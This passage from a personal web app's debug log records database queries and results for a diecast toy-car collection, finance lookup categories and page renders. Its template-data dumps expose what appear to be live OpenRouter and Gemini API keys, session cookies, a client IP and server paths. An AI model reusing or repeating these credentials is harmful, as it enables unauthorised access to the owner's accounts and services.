  { id: 131, name: 'Scania' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2025-12-20T04:55:54.422Z server-connect:app Executing action step select
2025-12-20T04:55:54.422Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-20T04:55:54.424Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 115,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 100 },
    current: 1,
    total: 5
  },
  data: [
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 131,
      model_name: 'Suzuki Jimny 2018',
      release_year: 2025,
      scale: '1:48',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Suzuki',
      vehicle_brand_id: 175,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes-Benz',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2025-12-20T04:55:54.425Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2025-12-20T04:55:54.425Z server-connect:app Executing action step select
2025-12-20T04:55:54.425Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2025-12-20T04:55:54.426Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2025-12-20T04:56:58.935Z server-connect:router Serving templateView /collections
2025-12-20T04:56:58.935Z server-connect:app Executing action step identify
2025-12-20T04:56:58.935Z server-connect:app options: { provider: 'security' }
2025-12-20T04:56:58.936Z server-connect:output identity: 1
2025-12-20T04:56:58.936Z server-connect:app Executing action step restrict
2025-12-20T04:56:58.936Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:56:58.937Z server-connect:output restrict: undefined
2025-12-20T04:56:58.937Z server-connect:router Render template masters/collections
2025-12-20T04:56:58.937Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'x-forwarded-for': '157.48.251.138',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T03:30:22.106Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/collections',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.138',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/collections',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/collections',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AQO2YDxa5pM5Ayg0utwrcmQ%3D%3D.MBmfoA5%2Fj%2Fcxuj8KQyeoPexDuPf3N0T3cExcl6WVDabiewoCsutCEIKYw5oFX0OSu43u4Jd7M8%2FbWbbC2lpH9kV84IDbLel%2B0zJDM44tjtYFMwMvDElhtQvsEsMwNbHPb4yUCthHNWecsvWQuBfIvtM3xuyP%2BkxRbNueyDzPqes%3D.Y%2B3XOy8y1zuuCQSQ3tL4qrXP7FgWCGU6vJ9xC6VafP0; your_r_git.sid=s%3AOH2eG_9RjHtGk97czxQJoVy6cL02DRSK.RDKekWSeoR2%2BaLyOqFEC54c40XxU4PbblMrwPTx0hGQ',
    'HTTP_X_FORWARDED-FOR': '157.48.251.138',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T04:56:59.219Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2025-12-20T04:56:59.220Z server-connect:app Executing action step identify
2025-12-20T04:56:59.220Z server-connect:app options: { provider: 'security' }
2025-12-20T04:56:59.220Z server-connect:output identity: 1
2025-12-20T04:56:59.220Z server-connect:app Executing action step restrict
2025-12-20T04:56:59.220Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:56:59.220Z server-connect:output restrict: undefined
2025-12-20T04:56:59.220Z server-connect:app Executing action step select
2025-12-20T04:56:59.220Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2025-12-20T04:56:59.222Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2025-12-20T04:56:59.224Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2025-12-20T04:56:59.224Z server-connect:app Executing action step identify
2025-12-20T04:56:59.224Z server-connect:app options: { provider: 'security' }
2025-12-20T04:56:59.224Z server-connect:output identity: 1
2025-12-20T04:56:59.224Z server-connect:app Executing action step restrict
2025-12-20T04:56:59.225Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T04:56:59.225Z server-connect:output restrict: undefined
2025-12-20T04:56:59.225Z server-connect:app Executing action step paged
2025-12-20T04:56:59.225Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-20T04:56:59.227Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2025-12-20T04:57:05.475Z server-connect:router Serving templateView /calorie-tracker
2025-12-20T04:57:05.475Z server-connect:app Executing action step identify
2025-12-20T04:57:05.475Z server-connect:app options: { provider: 'security' }
2025-12-20T04:57:05.475Z server-connect:output identity: 1
2025-12-20T04:57:05.475Z server-connect:app Executing action step restrict
2025-12-20T04:57:05.475Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T04:57:05.476Z server-connect:output restrict: undefined
2025-12-20T04:57:05.476Z server-connect:router Render template calorie-tracker
2025-12-20T04:57:05.476Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
